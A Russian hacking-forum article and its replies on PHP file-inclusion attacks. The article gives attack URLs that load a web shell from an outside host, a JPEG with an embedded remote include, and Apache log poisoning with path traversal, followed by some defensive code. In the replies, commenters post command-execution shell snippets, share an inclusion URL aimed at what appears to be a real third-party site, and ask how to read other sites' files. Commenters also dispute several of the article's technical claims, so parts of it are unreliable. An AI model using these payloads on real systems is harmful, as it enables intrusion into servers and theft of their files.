Введение Всем привет! В этой статье я постараюсь рассказать все о php-include, собрав все что мне известно в одну статью. Буду рад любой критике, а также постараюсь дорабатывать со временем данную статью! Глобальный инклуд Наиболее опасная из уязвимостей веба, но к сожалению, или к счастью встречается в наше время крайне редко. Для атаки необходимо, что б функция allow_url_include была включена, тоесть On Уязвимость позволяет злоумышленнику выполнить на сервере произвольный php код. В PHP существуют четыре функции для включения файлов в сценарии PHP: * include(); * include_once(); * require(); * require_once(). Функция include() включает содержимое файла в сценарий. Рассмотрим пример "дважды" уязвимого кода: PHP: <?php if($_GET['page'].'.php') { include($_GET['page'].'.php'); } else { include($file.'.php'); } ?> С помощью условия мы проверяем, если через url на сервер передается элемент массива $_GET['page'], то вызываем функцию include(). Из-за того, что значение массива $_GET['page'] не проверяется на существование, с помощью функции file_exists() злоумышленник может провести атаку: Code: http://site.ru/index.php?page=http://hack.ru/shell В ином случае мы инклудим include($file.'.php'); Тут таже ситуация, просто запись кода немного другая. Переменная $file не была определенна раннее и злоумышленник может выполнить удаленно php код: Code: http://site.ru/index.php?file=http://hack.ru/shell Функция include_once() практически не отличается от include(), за одним исключением: прежде чем включать файл в программу, она проверяет, не был ли он включен ранее. Если файл уже был включен, вызов include_once() игнорируется, а если нет - происходит стандартное включение файла. PHP: <?php include_once($file.'.gif'); ?> В этом примере к подгружаемому файлу автоматически приписывается расширение '.gif' Избавиться от расширения '.gif' можно двумя способами: 1) если magic_quotes_gpc = Off то можно использовать "ядовитый ноль" - %00 который отрежит расширение Code: http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) даже если magic_quotes_gpc = On Code: http://site.ru/index.php?file=http://hack.ru/shell.php? Функция require() аналогична include(), за исключением одного - файл, определяемый параметром require(), включается в сценарий независимо от местонахождения require() в сценарии. PHP: <?php require($file); ?> Атака аналогична, но в этом случае расширение не приписывается: Code: http://site.ru/index.php?page=http://hack.ru/shell.php Функция require_once() загружает файл в сценарий всего один раз. PHP: <?php require_once($file.'.php'); ?> Атака аналогична... Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini значение параметра allow_url_fopen было равно On, что и есть по умолчанию. PHP: <?php $f=fopen("$file.php","r"); while (!feof($f)) { $s=fgets($f,255); echo $s; } fclose($f); ?> Из-за того что переменная $file не была определена ранее, злоумышленник может произвести атаку: Code: http://site.ru/index.php?file=http://hack.ru/shell В итоге опять получаем веб-шелл. Следующий пример - использование функции readfile() PHP: <?php readfile($file); ?> Функция readfile() считывает файл, имя которого передано ей в качестве параметра, и выводит его содержимое на экран. В итоге опять получаем веб-шелл: Code: http://site.ru/index.php?file=http://hack.ru/shell Теперь рассмотрим такой вариант: PHP: <?php echo implode("", file($file)); ?> С помощью функции implode() мы объединяем элементы массива в строку, а с помощью функции file() получаем содержимое файла в виде массива. В итоге опять имеем веб-шелл: Code: http://site.ru/index.php?file=http://hack.ru/shell.php Защита от глобальный инклудов Конечно можно проверять файл на существование с помощью функции file_exists() и отфильтровывать нежелательные символы с помощью str_replace(), но я рекомендую использовать конструкцию switch case: PHP: <?php global $page; switch ($page) { case '': include ("pages/main.php"); break; case 'index': include ("pages/main.php"); break; case 'page1': include ("pages/folder/page1.php"); break; case 'page2': include ("pages/folder/page2.php"); break; default: include ("pages/hack.php"); break; } ?> Так же рекомендую отредактировать файл php.ini: Локальный инклуд Не менее опасная уязвимость в вебе. Позволяет злоумышленнику инклудить файлы лежащие на сервере. Многие новички сталкиваясь с данной ошибкой веб-кодинга бросают дело, т.к не знают как действовать дальше и в какую сторону копать. Я приведу общий пример: PHP: <?php include("include/$file"); ?> Глобально проинклудить не получиться, т.к переменная $file приписывается после каталога /include/ Что же можно сделать? Идеальным считается тот случай, когда на сайте стоит или форум или иная форма, с помощью которой можно загрузить любой файл c любым расширением. Возникает вопрос - а почему с любым расширением? Возьмем к примеру вымышленный сайт на котором есть возможность загрузки аватарки через форум. На форуме стоит скрипт, который проверяет - действительно ли пользователь загрузил фотографию? Открываем paint и сохраняем любое изображение к примеру в формате jpg. После чего открываем его блокнотом и после кода изображения пишем <?php include("http://hack.ru/shell.php"); ?> В итоге получаем примерно такую картину: Теперь такую картинку можно загрузить на форум и она будет воспринята именно как картинка Вернемся к вопросу о расширении. Почему нам подойдет любое? Дело в том, что функция include() загружает код из одного файла в исполняемый файл. Вот пример: Code: http://www.site.com/index.php?include=../forum/images/shell.jpg В результате, в файле index.php выполняется код <?php include("http://hack.ru/shell.php"); ?> Логи апатча Как известно apache ведет лог-файлы httpd-access.log и httpd-error.log и все запросы естественно логируются и пишутся в соответствующие файлы. Вот примерное их расположение: Я же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания: Заголовок пакета записывается в логи апатча, расположенные по адресу: Code: Z:\usr\local\apache\logs\access.log Тоесть в этот файлик записывается вот такая строчка: Думаю суть понятна. Нам остается его проинклудить: Code: http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log И получить веб-шелл Защита от локальных инклудов Вот небольшой примерчик, как можно надежно защититься: PHP: <?php function stripslashes_for_array(&$array) { reset($array); while (list($key, $val) = each($array)) { if (is_string($val)) $array[$key] = stripslashes($val); elseif (is_array($val)) $array[$key] = stripslashes_for_array($val); } return $array; } if (!get_magic_quotes_gpc()) { stripslashes_for_array($_POST); stripslashes_for_array($_GET); } if(isset($_GET['file']))$file=$_GET['file']; else { if(isset($_POST['file']))$file=$_POST['file']; else $file=''; } $file=str_replace('/','',$file); $file=str_replace('.','',$file); if(!file_exists("include".'/'.$file.'.php')||$file=='index') { $file='news'; } include("include".'/'.$file.'.php'); ?> И так, что тут происходит? Каждый элемент массива проверяется функцией stripslashes(). Она убивает бэкслеши. Далее проверяем установлено или нет значение элемента массива. Отфильтровуем недопустимые символы('/', '.') функцией str_replace(). Если файла не существует (проверяем с помощью функции file_exists()) - присваиваем значение переменной $file='news'. В остальных случаях(когда файл существует) инклудим его. *************************************** PS Все что описано в статье я проверял на локалхосте. Надеюсь каждый из нее черпанет чего-нибудь новенького и интересного. Спасибо за внимание
TRUE PHP-injection - Вот эта статья мне нравится больше. Да и не пойму зачем писать по 100 раз об одном и том же..тема разжевана уже дальше некуда. Короче всё боян от начала до конца
мягко говоря некорректное определение функции принято называть удаленный инклуд (remote include) В твоем коде переменной page вообще нет, есть элемент массива $_GET['page'], который ранее никак не мог быть инициализирован а если register_globals=off ? нуллбайт означает конец строки в C,C++ - но уж точно не в php а если повнимательней?
ты хочешь сказать, что в PHP нужно указывать в конце каждой строки нуллбайт, как это делается в С? http://ru.wikipedia.org/wiki/Нуль-терминированная_строка
я не сомневаюсь, что так будет работать, но зачем называть переменную $GET_[cmd]? Тем более, что ее назначить нельзя будет, т.е если просто написать GET /index.php/<?php system(dir); ?> HTTP/1.0 результат тот же будет <?php system($_GET[cmd]) ?> неужели так сложно?
Мда(с) Судя по этому посту автор просто не понимает, что вы ему пытаетесь объяснить. Он просто "не в теме" Мне например очень "понравилось" про шелл в картинке. Заливаем мы значит туда этот код : <?php @system($GET_[cmd] = "ls -la"); ?>, так, и что-же мы будем делать дальше? Я так полагаю будем лить ещё одну картинку?
2 Vadim1 _http://autismcorner.com/Verhaal.php?dir=http://SleepSleepSleep.narod.ru&language=nl&file=1.php там просто чтение файла локальные файлы читать наврятли получится так как там папка /nl/ перед именем файла идёт, задается она переменной language но менять ее можно только на en,nl
обойти /nl,en/ я смог, проблема чтения локальных файлов это . Меня интересуют файлы другого сайта на этом хосте
На другие зайти через эту читалку не сможешь, а прочитать все файлы лежащие на этом сайте - без проблем!
PHP: function stripslashes_for_array(&$a) { foreach($a as $k=>$v) { $a[$k] = stripslashes($v); } } if (!get_magic_quotes_gpc()) { stripslashes_for_array($_POST); stripslashes_for_array($_GET); } а если передать index.php?file[][][]=lol? раскрытие путей... Нужно рекурсивно вызывать функцию обработки массивов
Не тупи, это просто читалка, ты просто не делай file=http://test1.ru/shell.php а сделай shell.txt . Т.к. в первом случае ты просто выводишь на экран результат работы того файла на том сервере, а не запускаешь его код. З.Ы. jokester спс.
А тут можно провести инклуд? Code: <?php include_once('папка/config.php'); include_once('папкаclass_usershop.php'); include_once('папкаclass_users.php'); include_once('папка/functions_usershop.php'); если например это nea.php как провести php inj?